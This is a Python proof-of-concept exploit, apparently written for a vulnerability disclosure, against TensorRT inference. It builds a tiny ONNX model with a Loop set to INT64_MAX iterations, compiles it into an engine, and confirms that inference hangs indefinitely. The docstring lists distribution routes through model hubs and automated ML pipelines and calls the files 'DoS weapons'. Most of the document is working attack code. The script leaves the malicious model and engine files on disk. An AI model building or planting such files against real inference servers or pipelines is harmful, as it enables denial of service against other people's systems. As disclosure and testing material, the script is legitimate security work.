tensorrt-dos-poc-loop-hang / vuln003_loop_dos.py
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"""
VULN-003 PoC: TensorRT Denial of Service via ONNX Loop with INT64_MAX Iterations
A crafted ONNX model (338 bytes) containing a Loop operator with max_trip_count
set to INT64_MAX (9,223,372,036,854,775,807) compiles into a valid TensorRT
engine (20,252 bytes) that hangs indefinitely during inference.
Attack vectors:
1. ONNX model on model hub -> victim compiles to engine -> inference hangs
2. Pre-compiled engine file on model hub -> victim loads -> inference hangs
3. Automated ML pipeline ingests malicious model -> entire pipeline stalls
Impact:
- Permanent denial of service for TensorRT inference servers
- No timeout mechanism in execute_async_v3() — hangs until process is killed
- Tiny file size (338 bytes ONNX / 20KB engine) makes distribution trivial
- Affects Triton Inference Server, TensorRT-LLM, any TRT-based pipeline
"""
import os
import sys
import time
import subprocess
import numpy as np
import onnx
from onnx import helper, TensorProto, numpy_helper
POC_DIR = os.path.dirname(os.path.abspath(__file__))
def create_loop_dos_model():
"""Create minimal ONNX model with Loop(INT64_MAX)."""
# Loop body: Relu (trivial computation)
body_input = helper.make_tensor_value_info('i', TensorProto.INT64, [])
body_cond_in = helper.make_tensor_value_info('cond_in', TensorProto.BOOL, [])
body_x_in = helper.make_tensor_value_info('x_in', TensorProto.FLOAT, [1, 4])
body_cond_out = helper.make_tensor_value_info('cond_out', TensorProto.BOOL, [])
body_x_out = helper.make_tensor_value_info('x_out', TensorProto.FLOAT, [1, 4])
relu = helper.make_node('Relu', ['x_in'], ['x_out'])
identity_cond = helper.make_node('Identity', ['cond_in'], ['cond_out'])
body = helper.make_graph(
[relu, identity_cond], 'loop_body',
[body_input, body_cond_in, body_x_in],
[body_cond_out, body_x_out]
)
# Main graph
X = helper.make_tensor_value_info('input', TensorProto.FLOAT, [1, 4])
Y = helper.make_tensor_value_info('output', TensorProto.FLOAT, [1, 4])
# INT64_MAX = 9,223,372,036,854,775,807
max_trip = numpy_helper.from_array(
np.array(0x7FFFFFFFFFFFFFFF, dtype=np.int64), 'max_trip'
)
cond_init = numpy_helper.from_array(np.array(True, dtype=bool), 'cond_init')
loop = helper.make_node(
'Loop', ['max_trip', 'cond_init', 'input'], ['output'],
body=body
)
graph = helper.make_graph([loop], 'loop_dos', [X], [Y], [max_trip, cond_init])
model = helper.make_model(graph, opset_imports=[helper.make_opsetid('', 13)])
model.ir_version = 7
return model
def build_engine(model_path, engine_path):
"""Build TensorRT engine from ONNX model."""
import tensorrt as trt
logger = trt.Logger(trt.Logger.WARNING)
builder = trt.Builder(logger)
network = builder.create_network(
1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)
)
parser = trt.OnnxParser(network, logger)
if not parser.parse_from_file(model_path):
for i in range(parser.num_errors):
print(f" Parse error: {parser.get_error(i)}")
return False
config = builder.create_builder_config()
config.set_memory_pool_limit(trt.MemoryPoolType.WORKSPACE, 1 << 24)
serialized = builder.build_serialized_network(network, config)
if not serialized:
print(" Build failed")
return False
with open(engine_path, 'wb') as f:
f.write(bytes(serialized))
return True
def test_inference_subprocess(engine_path, timeout=30):
"""Run inference in subprocess and measure hang time."""
script = f'''
import tensorrt as trt, numpy as np, torch, time, sys
with open(r"{engine_path}", "rb") as f:
data = f.read()
logger = trt.Logger(trt.Logger.ERROR)
runtime = trt.Runtime(logger)
engine = runtime.deserialize_cuda_engine(data)
if not engine:
print("DESER_FAIL")
sys.exit(1)
context = engine.create_execution_context()
device = torch.device("cuda:0")
inp = torch.randn(1, 4, device=device)
out = torch.empty(1, 4, device=device)
context.set_tensor_address("input", inp.data_ptr())
context.set_tensor_address("output", out.data_ptr())
stream = torch.cuda.current_stream()
print("INFERENCE_STARTED")
sys.stdout.flush()
start = time.time()
context.execute_async_v3(stream.cuda_stream)
stream.synchronize()
elapsed = time.time() - start
print(f"INFERENCE_DONE time={{elapsed:.1f}}s")
'''
start = time.time()
try:
r = subprocess.run(
[sys.executable, "-c", script],
capture_output=True, text=True, timeout=timeout
)
elapsed = time.time() - start
return False, elapsed, r.stdout.strip(), r.returncode
except subprocess.TimeoutExpired:
elapsed = time.time() - start
return True, elapsed, "TIMEOUT", -1
def main():
print("=" * 70)
print("VULN-003: TensorRT Inference DoS via ONNX Loop(INT64_MAX)")
print("=" * 70)
# Step 1: Create malicious ONNX model
model = create_loop_dos_model()
onnx_path = os.path.join(POC_DIR, "dos_loop.onnx")
with open(onnx_path, 'wb') as f:
f.write(model.SerializeToString())
onnx_size = os.path.getsize(onnx_path)
print(f"\n[1] Malicious ONNX model: {onnx_path}")
print(f" Size: {onnx_size} bytes")
print(f" Loop max_trip_count: {0x7FFFFFFFFFFFFFFF:,} (INT64_MAX)")
print(f" Loop body: single Relu operation")
# Step 2: Build TensorRT engine
engine_path = os.path.join(POC_DIR, "dos_loop.engine")
print(f"\n[2] Building TensorRT engine...")
if not build_engine(onnx_path, engine_path):
print(" ERROR: Engine build failed")
sys.exit(1)
engine_size = os.path.getsize(engine_path)
print(f" Engine: {engine_path}")
print(f" Size: {engine_size} bytes")
print(f" Build completed normally — no error, no warning")
# Step 3: Baseline — normal model inference
print(f"\n[3] Baseline: Normal model inference")
baseline_onnx = os.path.join(POC_DIR, "normal_loop.onnx")
# Normal loop with 10 iterations
body_input = helper.make_tensor_value_info('i', TensorProto.INT64, [])
body_cond_in = helper.make_tensor_value_info('cond_in', TensorProto.BOOL, [])
body_x_in = helper.make_tensor_value_info('x_in', TensorProto.FLOAT, [1, 4])
body_cond_out = helper.make_tensor_value_info('cond_out', TensorProto.BOOL, [])
body_x_out = helper.make_tensor_value_info('x_out', TensorProto.FLOAT, [1, 4])
relu = helper.make_node('Relu', ['x_in'], ['x_out'])
id_cond = helper.make_node('Identity', ['cond_in'], ['cond_out'])
body = helper.make_graph([relu, id_cond], 'body',
[body_input, body_cond_in, body_x_in],
[body_cond_out, body_x_out])
X = helper.make_tensor_value_info('input', TensorProto.FLOAT, [1, 4])
Y = helper.make_tensor_value_info('output', TensorProto.FLOAT, [1, 4])
trip = numpy_helper.from_array(np.array(10, dtype=np.int64), 'max_trip')
cond = numpy_helper.from_array(np.array(True, dtype=bool), 'cond_init')
loop = helper.make_node('Loop', ['max_trip', 'cond_init', 'input'], ['output'], body=body)
graph = helper.make_graph([loop], 'normal', [X], [Y], [trip, cond])
normal_model = helper.make_model(graph, opset_imports=[helper.make_opsetid('', 13)])
normal_model.ir_version = 7
with open(baseline_onnx, 'wb') as f:
f.write(normal_model.SerializeToString())
baseline_engine = os.path.join(POC_DIR, "normal_loop.engine")
build_engine(baseline_onnx, baseline_engine)
hung, elapsed, out, rc = test_inference_subprocess(baseline_engine, timeout=15)
print(f" Normal model (10 iterations): {out} ({elapsed:.1f}s)")
# Step 4: DoS inference
print(f"\n[4] DoS inference (will hang for 30 seconds then be killed)")
hung, elapsed, out, rc = test_inference_subprocess(engine_path, timeout=30)
if hung:
print(f" TIMEOUT after {elapsed:.1f}s — INFERENCE IS HANGING")
print(f" [!!!] DoS CONFIRMED")
else:
print(f" Inference completed: {out} ({elapsed:.1f}s)")
# Summary
print(f"\n{'='*70}")
print("VULNERABILITY SUMMARY")
print(f"{'='*70}")
print(f"[!!!] TensorRT inference hangs indefinitely on Loop(INT64_MAX)")
print(f"[!!!] ONNX model size: {onnx_size} bytes")
print(f"[!!!] Engine file size: {engine_size} bytes")
print(f"[!!!] Both formats can be used as DoS weapons")
print(f"[!!!] No timeout in execute_async_v3() — runs until process killed")
print(f"[!!!] Loop iterations: 9,223,372,036,854,775,807 (INT64_MAX)")
print(f"[!!!] Even at 1 billion iterations/sec, would take 292 YEARS")
# Cleanup temp files
for f in [baseline_onnx, baseline_engine]:
if os.path.exists(f):
os.remove(f)
if __name__ == "__main__":
main()